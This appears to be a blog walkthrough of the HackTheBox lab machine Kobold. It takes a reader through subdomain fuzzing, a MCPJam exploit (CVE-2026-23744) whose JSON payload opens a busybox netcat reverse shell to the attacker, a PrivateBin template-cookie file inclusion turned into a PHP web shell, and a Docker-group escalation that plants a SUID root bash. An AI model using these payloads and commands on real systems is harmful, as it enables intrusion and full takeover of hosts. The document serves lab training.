← Back to Home

HTB: Kobold

April 4, 2026 HackTheBox
enumerationsubdomain-fuzzingMCPJamRCEPrivateBinLFIdocker-privesccommand-injection

Walkthrough of the HackTheBox Kobold machine.

Reconnaissance

Starting off the way we always do, a full TCP port scan with nmap to see what we’re working with.

nmap -sV -sC -p- 10.129.245.50
┌─[us-dedivip-4]─[10.10.14.83]─[shxriff@htb-jjuqkcekch]─[~]
└──╼ [★]$ nmap -sV -sC -p- 10.129.245.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-29 16:31 CDT
Nmap scan report for 10.129.245.50
Host is up (0.0095s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp   open  http      nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp  open  ssl/http  nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
|_http-server-header: nginx/1.24.0 (Ubuntu)
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
3552/tcp open  taserver?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Sun, 29 Mar 2026 21:31:53 GMT
|     <!doctype html>
|     <html lang="%lang%">
|     <head>
|     <meta charset="utf-8" />
|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     <meta http-equiv="Pragma" content="no-cache" />
|     <meta http-equiv="Expires" content="0" />
|     <link rel="icon" href="/api/app-images/favicon" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     <link rel="manifest" href="/app.webmanifest" />
|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_    <link rel="modu
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3552-TCP:V=7.94SVN%I=7%D=3/29%Time=69C99A4B%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Range
SF:s:\x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalid
SF:ate\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sun,\x2029\
SF:x20Mar\x202026\x2021:31:53\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20l
SF:ang=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<m
SF:eta\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,
SF:\x20must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20cont
SF:ent=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=
SF:\"0\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favico
SF:n\"\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-wid
SF:th,\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20
SF:/>\n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n
SF:\t\t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x
SF:20media=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name
SF:=\"theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x
SF:20media=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x2
SF:0rel=\"modu")%r(HTTPOptions,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Range
SF:s:\x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalid
SF:ate\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sun,\x2029\
SF:x20Mar\x202026\x2021:31:53\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20l
SF:ang=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<m
SF:eta\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,
SF:\x20must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20cont
SF:ent=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=
SF:\"0\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favico
SF:n\"\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-wid
SF:th,\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20
SF:/>\n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n
SF:\t\t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x
SF:20media=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name
SF:=\"theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x
SF:20media=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x2
SF:0rel=\"modu");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.63 seconds

Four ports come back:

PortServiceDetails
22SSHOpenSSH 9.6p1 (Ubuntu)
80HTTPnginx 1.24.0 (Ubuntu)
443SSL/HTTPnginx 1.24.0 (Ubuntu)
3552Unknownnmap labels it “taserver?”

Both port 80 and 443 redirect to https://kobold.htb/, so that gets added to /etc/hosts. The SSL certificate also reveals a wildcard SAN entry (DNS:*.kobold.htb), which is a strong hint that subdomains exist. Port 3552 is serving some kind of web app based on the HTML in the fingerprint strings, but we’ll come back to that later.

/etc/hosts


Web Enumeration

Browsing https://kobold.htb/ doesn’t reveal anything super interesting, just an explanation of what this “software suite” does. We do spot an email address admin@kobold.htb on the page, which could hint at a username for later.

Directory Bruteforcing

We pivot to gobuster to check for hidden directories:

gobuster dir -u http://10.129.245.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 301,403

This doesn’t find anything interesting, so now we pivot to subdomain enumeration.

Subdomain Fuzzing

First we run a dummy request to see what the default response size is for a non-existent subdomain:

curl -I -H "Host: this-does-not-exist.kobold.htb" http://kobold.htb

This gives us a response size of 178, so we add it into our ffuf command to filter it out:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://kobold.htb \
  -H "Host: FUZZ.kobold.htb" \
  -fs 178

We get nothing from that, so now we pivot into subdomain enumeration for the HTTPS site:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u https://kobold.htb \
  -H "Host: FUZZ.kobold.htb" \
  -k -t 50 -ac

ffuf subdomain results

And here we get some actual information: https://mcp.kobold.htb/ and https://bin.kobold.htb/. Both get added to /etc/hosts.

Updated /etc/hosts


Service Discovery

When we visit these two subdomains we see some interesting things:

  • https://mcp.kobold.htb is running MCPJam, an MCP server management interface
  • https://bin.kobold.htb is a PrivateBin instance

MCPJam interface

PrivateBin interface

We’ll look at the MCP server first since it has more attack surface.


Foothold - MCPJam RCE (CVE-2026-23744)

Finding the CVE

Navigating to the MCPJam settings page reveals it’s running v1.4.2.

MCPJam settings showing version

Searching for public vulnerabilities for this version leads us to CVE-2026-23744, which allows an attacker to send a crafted HTTP request that triggers the installation of a malicious MCP server, leading to remote code execution.

There’s a public PoC on GitHub, so we clone it and give it a try:

git clone https://github.com/FrenzisRed/CVE-2026-23744.git
cd CVE-2026-23744/

Exploiting MCPJam

We fire the exploit, pointing it at the target and specifying our attack box IP and listener port:

python3 cve-2026-23744.py --target https://mcp.kobold.htb --att-ip 10.10.14.83 --att-p 9001

And start a netcat listener on port 9001:

nc -lvnp 9001

Exploit execution

The exploit sends a payload that instructs MCPJam to install a new MCP server configured to execute a reverse shell via busybox:

{"serverConfig": {"command": "busybox", "args": ["nc", "10.10.14.83", "9001", "-e", "/bin/bash"], "env": {}}, "serverId": "mcp_test_server"}

Netcat catches the shell.

Netcat catching the shell

Unfortunately, the reverse shell timed out before I could do anything with it. The first attempt’s connection was short-lived because the MCPJam process that spawned the shell had a read timeout.

Second Attempt + Shell Upgrade

We launch the exploit again, and this time I immediately upgrade the shell to keep it alive:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Shell upgrade

Then we make it fully interactive:

CTRL+Z  # Push the shell to the background
stty raw -echo; fg
export TERM=xterm
stty rows 38 cols 116

Now we have a fully functional reverse shell with tab completion and proper key handling. We land as user ben inside the MCPJam local directory at /usr/local/lib/node_modules/@mcpjam/inspector.

User Flag

We navigate to /home/ben/ and grab the user flag:

cd /home/ben/
cat user.txt
# 02b8c4b6fa41d87ff47cd6fd86245908

User flag


Privilege Escalation

Initial Enumeration

Now we need to escalate. First we check for any credentials or SSH keys on the machine that we can use. Nothing comes up, so we bring in linpeas.

# Attack box
cd /tmp/
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000

# Victim machine
wget http://10.10.14.83:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Since we don’t have the sudo password, we can’t run sudo -l. But linpeas catches that sudo version 1.9.15p is running, which could be vulnerable to CVE-2025-32463, a privilege escalation flaw through the chroot mechanism.

Dead End - Sudo CVE

We find a PoC at https://github.com/0xzap/CVE-2025-32463 and transfer it to the victim:

# Attack box
git clone https://github.com/0xzap/CVE-2025-32463.git
cd CVE-2025-32463/
python3 -m http.server 8000

# Victim machine
wget http://10.10.14.83:8000/cve-2025-32463.py
python3 cve-2025-32463.py

This fails because the exploit requires the sudo password, which we don’t have. That’s what I get for blind firing without reading the requirements first.

Pivoting to PrivateBin

Let’s take a step back and look at the PrivateBin instance we found earlier. Maybe there’s a path through it to move laterally or escalate privileges.

Checking the PrivateBin footer confirms it’s running version 2.0.2.

PrivateBin version

PrivateBin LFI to RCE (CVE-2025-64714)

Research reveals CVE-2025-64714, a Local File Inclusion vulnerability introduced in PrivateBin 1.7.7 and fixed in 2.0.3. When templateselection = true is configured, PrivateBin trusts a template cookie and includes the referenced PHP file from the tpl/ directory without sanitizing path traversal sequences.

Confirming the feature is active by sending a known valid template name in the cookie:

curl -s -k "https://bin.kobold.htb/" -H "Cookie: template=bootstrap"

The response renders using the old Bootstrap 3 theme instead of Bootstrap 5, confirming that template selection is enabled and the cookie is being respected.

Confirming the LFI by traversing to the config file:

curl -s -k "https://bin.kobold.htb/" -H "Cookie: template=../cfg/conf"

This returns an empty response rather than the normal page. The config file (cfg/conf.php) starts with <?php, so it executes but produces no output. The empty response confirms the file was found and included, not that it was missing.

Escalating to RCE

The PrivateBin data directory at /privatebin-data/data/ is world-writable on the host and accessible to ben via the operator group. We write a PHP web shell there and include it via the LFI. The template path traverses from tpl/ up to data/ on the filesystem.

echo '<?php echo shell_exec("id"); ?>' > /privatebin-data/data/rce1.php

curl -s -k "https://bin.kobold.htb/" -H "Cookie: template=../data/rce1"
# uid=65534(nobody) gid=82(www-data) groups=82(www-data)

RCE achieved inside the Docker container as nobody.

Note: PHP OPcache will cache compiled scripts. If you reuse the same filename with different content, it executes the old cached version. You need to use a new filename for each new command.


Docker Group Privilege Escalation

Discovering Docker Access

Back on ben’s shell, linpeas (which we ran earlier) flagged something easy to miss in the group enumeration:

Accessible group not shown in id: docker (gid=111)

This means ben can switch to the docker group using newgrp without a password, even though it doesn’t appear in the id output. newgrp switches the active group to any group the user is a member of in /etc/group.

newgrp docker
id
# uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

docker ps
# CONTAINER ID   IMAGE                                    ...
# 4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2        ...

Root via SUID Bash

With docker socket access, we can mount the host filesystem into a new container and run as root. There’s no internet access from the box, so the only available image is the one already pulled locally (privatebin/nginx-fpm-alpine:2.0.2). The --user 0 flag overrides the image’s default nobody user to run as root inside the container, and --entrypoint overrides the image’s startup script so it doesn’t try to launch PHP-FPM:

docker run -v /:/mnt --rm --privileged --user 0 \
  --entrypoint /bin/sh \
  privatebin/nginx-fpm-alpine:2.0.2 \
  -c "cp /mnt/bin/bash /mnt/tmp/rootbash && \
      chown root:root /mnt/tmp/rootbash && \
      chmod 4755 /mnt/tmp/rootbash"

/tmp/rootbash -p

The container mounts the entire host filesystem at /mnt, copies bash to /tmp/rootbash, sets root as the owner, and applies the SUID bit (4755). Back on the host, running /tmp/rootbash -p preserves the effective UID (root) and drops us into a root shell.

# rootbash-5.2#
cat /root/root.txt
# 7471303a793c063d835626a4bb12a754

Root flag


Summary

User FlagRoot Flag
02b8c4b6fa41d87ff47cd6fd862459087471303a793c063d835626a4bb12a754

The full attack chain for Kobold:

  1. Recon: Nmap reveals SSH on port 22, nginx on ports 80/443, and an unknown service on port 3552. Wildcard SSL cert hints at subdomains
  2. Subdomain Fuzzing: ffuf discovers mcp.kobold.htb (MCPJam) and bin.kobold.htb (PrivateBin)
  3. CVE-2026-23744: MCPJam v1.4.2 RCE via crafted HTTP request that installs a malicious MCP server, giving us a reverse shell as ben
  4. User Flag: Grabbed from /home/ben/user.txt
  5. Dead End: Sudo CVE-2025-32463 fails without the sudo password
  6. CVE-2025-64714: PrivateBin 2.0.2 LFI via unsanitized template cookie, escalated to RCE by writing a PHP shell to the shared data directory
  7. Docker Group: linpeas reveals ben has access to the docker group via newgrp, giving us docker socket access
  8. Root Shell: Mount the host filesystem into a privileged container, create a SUID bash binary, and pop a root shell